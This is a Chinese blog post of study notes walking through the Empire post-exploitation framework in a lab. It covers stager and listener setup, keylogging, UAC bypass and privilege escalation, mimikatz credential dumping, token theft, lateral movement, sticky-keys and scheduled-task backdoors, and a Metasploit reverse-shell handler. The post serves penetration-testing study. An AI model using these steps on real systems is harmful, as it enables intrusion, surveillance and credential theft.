empire学习

Empire是一个针对windows平台的使用PowerShell脚本作为攻击载荷的渗透攻击框架,在域渗透中有很大作用,这里主要是通过安全客上的文章进行简单的学习吧 文章链接: https://www.anquanke.com/post/id/87328 https://www.anquanke.com/post/id/87333

安装

1
2
3
4
git clone https://github.com/EmpireProject/Empire.git
cd Empire
cd setup
sudo ./install.sh

如果使用的时候报缺少module,就用pip装一下

1
pip install -r requirments.txt

安装完了直接./empire就可以了 blacsheep

设置监听

进入empire之后可以help查看帮助 blacsheep 一般来说使用步骤就是先设置一个监听,然后去生成一个木马,在目标主机上面运行这个木马,我们这边就可以得到反弹的shell了 那么我们首先进入监听线程页面 blacsheep 然后可以uselistener,这里我们选择http blacsheep 可以输入info查看配置,用set可以进行设置 然后我们可以set一下名字,为了方便我就用他的名字了 然后ip这里是我们的本机ip,所以并不需要配置 blacsheep 完成了之后可以开始监听了,注意,要是之前开了80端口的话先关掉 blacsheep 然后我们back回去list可以查看监听 blacsheep 想要删除可以直接用kill blacsheep 这里注意,如果要开多个监听的话必须使用不同的名字和端口.

生成木马

监听设置好了,就去生成木马去目标机器上面运行就好了 我们用usestagger来查看模块 blacsheep 这里multi是通用,osx是mac系统的,windows就是windows的,下面对几种类型的木马讲解一下

dll

直接use一下,然后info看下配置 blacsheep 设置一下listener,然后生成文件 blacsheep 即可生成而恶意dll,不过我实验之后并没有返回agent,之后再看吧

launcher

当仅仅只是需要一段简单的代码的时候,可以直接在listen界面使用launcher 比如 blacsheep 到目标机器上面去运行,然后就有一段连接信息 blacsheep 切换到agents,然后就可以interact连上去 blacsheep

launcher_vbs

一样的,选择stagger的时候用vbs,然后set好参数,execute生成文件,然后目标主机去运行 blacsheep

其他

后面还有bat,macro和ducky bat和macro都可以插入到word里面,不过会报宏病毒... 可以自己去尝试

信息收集

empire主要用于后渗透,那么信息收集就是很重要的模块了,我们可以searchmodule命令来搜索相应的模块(就像msf的search) 同样我们可以usemodule 然后tab来查看一些module,我们searchmodule collection,得到返回 blacsheep

截图

我们使用screenshot,info查看信息 blacsheep 然后设置好agent之后execute就可以了 blacsheep 图片存在了/Empire/downloads/BA3HM8WF/screenshot blacsheep

键盘记录

1
usemodule powershell/collection/keylogger

我们直接execute就好,然后在interact之后可以用jobs命令看见我们挂在后台的操作,而且可以jobs kill JOBS_ID来杀掉进程 blacsheep 在keystrokes.txt中可以看到我们的键盘记录 blacsheep

剪切板记录

1
(Empire: HR6YCPW3) > usemodule collection/clipboard_monitor

然后info查看一下,直接execute blacsheep

查看域共享

1
(Empire: HR6YCPW3) > usemodule situational_awareness/network/powerview/share_finder

然后有一些配置,需要的话可以自己配置一下,我这里直接execute了,不过由于没有搭建域环境,所以没有东西 blacsheep

主机相关信息

1
(Empire: HR6YCPW3) > usemodule situational_awareness/host/winenum

可以查看本机用户,域组成员,最后密码设置时间,剪贴板内容,系统基本系统信息,网络适配器信息,共享信息等等 blacsheep

arp扫描

1
(Empire: HR6YCPW3) > usemodule situational_awareness/network/arpscan

需要注意的是这里需要设置Range参数

1
(Empire: powershell/situational_awareness/network/arpscan) > set Range 10.0.2.0-10.0.2.254
blacsheep

dns信息获取

内网dns反查

在内网中,知道所有机器的HostName和对应的IP地址对分析内网结构至关重要

1
(Empire: HR6YCPW3) > usemodule situational_awareness/network/reverse_dns

同样,注意设置一下Range blacsheep

查询dns服务器

1
(Empire: HR6YCPW3) > usemodule situational_awareness/host/dnsserver

不需要参数,直接查询即可 blacsheep

查找域管登录服务器ip

内网渗透中,拿到一台内网机想要获得域管权限有一种方法就是横向渗透,拿下域管登录的机子然后横向渗透进去,窃取域管的权限从而拿下整个域. 这个模块就是用来查找域管登录过的服务器的ip的

1
(Empire: HR6YCPW3) > usemodule situational_awareness/network/powerview/user_hunter

然后execute即可,我本地没有搭建环境,没有相关信息

本地管理组访问

1
(Empire: F8AT9WYP) > usemodule situational_awareness/network/powerview/find_localadmin_access
blacsheep

获取域控制器

假如我们成功地拿到了域用户权限,那么可以来找域控

1
(Empire: F8AT9WYP) > usemodule situational_awareness/network/powerview/get_domain_controller
blacsheep

提权

Windows在Vista系统开始引入UAC账户控制体系

高:完整的管理员权限 中:标准用户权限 低:很低的权限

即使当前用户是本地管理员,双击运行大部分应用程序时也是以标准用户权限运行的(除非右击-选择以管理员身份运行)。所以即使我们获得的权限是本地管理员权限,也没有办法执行一些命令(特殊注册表写入、LSASS读取/写入等等),所以渗透的第一步便是提权,提权的前提便是知道自己拥有什么权限,可以输入以下命令来查询

1
whoami /groups

显示的如果是High Mandatory Level表示是管理员权限,Medium Mandatory Level则是普通用户权限 我这里是普通用户 blacsheep

bypassuac

1
(Empire: F8AT9WYP) > usemodule privesc/bypassuac

info之后记得设置listener,因为这里会上线一个新的反弹 blacsheep 回到agents查看 带了*号的是提权成功的 blacsheep 我们interact上去 blacsheep 发现权限已经是high了

bypassuac_wscript

这个模块大概原理是使用c:Windowswscript.exe执行payload,实现管理员权限执行payload,绕过UAC。只适用于系统为Windows 7,目前尚没有对应补丁(17年11月),部分杀毒软件会有提示。 blacsheep 如下图所示,带型号的即为提权成功的。 blacsheep interact然后查看一下 blacsheep 提权成功

ms16-032

empire自带了ms16-032模块,use一下设置一下listener,execute即可提权,不过我这里是虚拟机,提示要求两核以上的CPU才能提权 blacsheep

ms16-135

同理使用,不过提醒一下,运行的时候受害者桌面会闪屏,而且有蓝屏的可能,我测试的时候第一次是蓝屏,不过第二次成功了 blacsheep 成功之后,显示的是system权限 blacsheep

powerup

Empire内置了PowerUp部分工具,用于系统提权,主要为Windows错误系统配置漏洞,Windows Services漏洞,AlwaysInstallElevated漏洞等8种提权方式,输入“usemodule privesc/powerup”然后按Tab键来查看完整列表,如下图所示。 blacsheep

allchecks

如何查找上述的漏洞,我们就可以使用allchecks

1
(Empire: 96XZYBKD) > usemodule privesc/powerup/allchecks

直接execute即可 blacsheep 测试一下bypassuac,成功返回高权限

文档

官方说明如下: l 对于任何没有引号的服务路径问题 l 对于ACL配置错误的任何服务(可通过service_ *利用 ) l 服务可执行文件上的任何不当权限(可通过service_exe_ *进行利用) l 对于任何剩余的unattend.xml文件 l 如果AlwaysInstallElevated注册表项设置 l 如果有任何Autologon凭证留在注册表中 l 用于任何加密的web.config字符串和应用程序池密码 l 对于任何%PATH%.DLL劫持机会(可通过write_dllhijacker利用)

gpp

在域里面很多都会启用组策略首选项来执行本地密码更改,以便于管理和映像部署。缺点是任何普通域用户都可以从相关域控制器的SYSVOL中读取到部署信息。虽然他是采用AES 256加密的,使用usemodule privesc/gpp

1
(Empire: 96XZYBKD) > usemodule privesc/gpp
blacsheep

横向渗透

令牌窃取

mimikatz

获取到了服务器的权限之后,我们可以使用mimikatz获取系统密码 blacsheep 然后creds就可以获取到hash密码甚至明文密码了 blacsheep

steal_token

假如域用户在这个服务器上面登录过,那我们就可以去窃取域用户的身份令牌,比如我们这里执行pth <ID>,这里的ID是creds前面的id blacsheep 然后可以看到pid,我们直接steal_token pid blacsheep 同样我们也可以ps获取进程 blacsheep 如果有域内的用户的进程,那么我们就可以steal_token来获取令牌 blacsheep 当然,要将令牌权限恢复到原来的状况的话我们可以用revtoself blacsheep

会话注入

1
usemodule management/psinject

感觉和前面的steal_token差不多 info的时候设置一下Listener和ProcId blacsheep 然后反弹回来一个会话 blacsheep

Invoke-PsExec

缺点是该工具基本杀毒软件都能检测到,并会留下日志,而且需要开启admin$ 445端口共享。优点是可以直接返回SYSTEM权限。这里我们要演示的是Empire下的Invoke-Psexec模块。 使用该模块的前提是我们已经获得本地管理员权限,甚至域管理员账户,然后以此来进一步持续渗透整个内网

1
usemodule lateral_movement/invoke_psexec

然后set好计算机的名称和Listener即可 这里我本地失败了,就不截图了

Invoke-WMI

它比PsExec安全,所有window系统启用该服务,当攻击者使用wmiexec来进行攻击时,Windows系统默认不会在日志中记录这些操作,这意味着可以做到攻击无日志,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。但防火墙开启将会无法连接。输入usemodule lateral_movement/invoke_wmi,使用该模块,输入info命令查看具体参数,如下图所示 blacsheep 然后执行了恶意代码 blacsheep WMI还有一个usemodule lateral_movement/invoke_wmi_debugger模块,是使用WMI去设置五个Windows Accessibility可执行文件中任意一个的调试器。这些可执行文件包括sethc.exe(粘滞键,五下shift可触发),narrator.exe(文本转语音,Utilman接口激活)、Utilman.exe(windows辅助管理器,Win+U启用),Osk.exe(虚拟键盘,Utilman接口启用)、Magnify.exe(放大镜,Utilman接口启用)。大家也可以尝试一下。

Powershell Remoting(5985端口)

PowerShell remoting是Powershell的远程管理功能,开启Windows远程管理服务WinRM会监听5985端口,该服务默认在Windows Server 2012中是启动的,在Windows Server 2003、2008和2008 R2需要通过手动启动 如果启用了这个服务,那我们就可以用

1
usemodule lateral_movement/invoke_psremoting

set好参数即可

后门

权限持久性劫持shift后门

粘置键后门

1
usemodule lateral_movement/invoke_wmi_debuggerinfo

然后set好listener和computer name,然后target binary设置sethc.exe,execute成功之后有提醒,然后去靶机上按shift就反弹shell回来了 blacsheep 注意:sethc.exe这里有几个可以替换的选项。 A.Utilman.exe(快捷键为: Win + U) B.osk.exe(屏幕上的键盘Win + U启动再选择) C.Narrator.exe (启动讲述人Win + U启动再选择) D.Magnify.exe(放大镜Win + U启动再选择)

注册表注入后门

这里我只是set了一个listener blacsheep 重新登录系统的时候运行了恶意代码,直接反了一个shell 不过登录的时候黑框还是蛮明显的 blacsheep

计划任务获得权限

1
usemodule persistence/elevated/schtasks

设置一下时间和Listener,然后就可以返回agent了 但是杀软会报提示 blacsheep 然后就返回agent了 blacsheep 可以看到权限是System blacsheep 这里如果把set RegPath 的参数改为前面的注册表参数,那么就会在相应时间添加一个注册表注入后门,大家可以练习一下。

反弹meterpreter

使用

1
usemodule code_execution/invoke_shellcode

填好lhost和lport,他的payload默认是https,不管就ok blacsheep 然后去msf设置一下监听

1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_https
msf exploit(multi/handler) > set lhost xx.xx.xx.xx
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run

返回empire进行execute blacsheep 然后metasploit上面就反了一个meterpreter blacsheep

总结

简单地对empire进行一个学习,也是对渗透学习的一个补充,后续可能还会对metasploit进行一个深入学习,挖坑待填吧...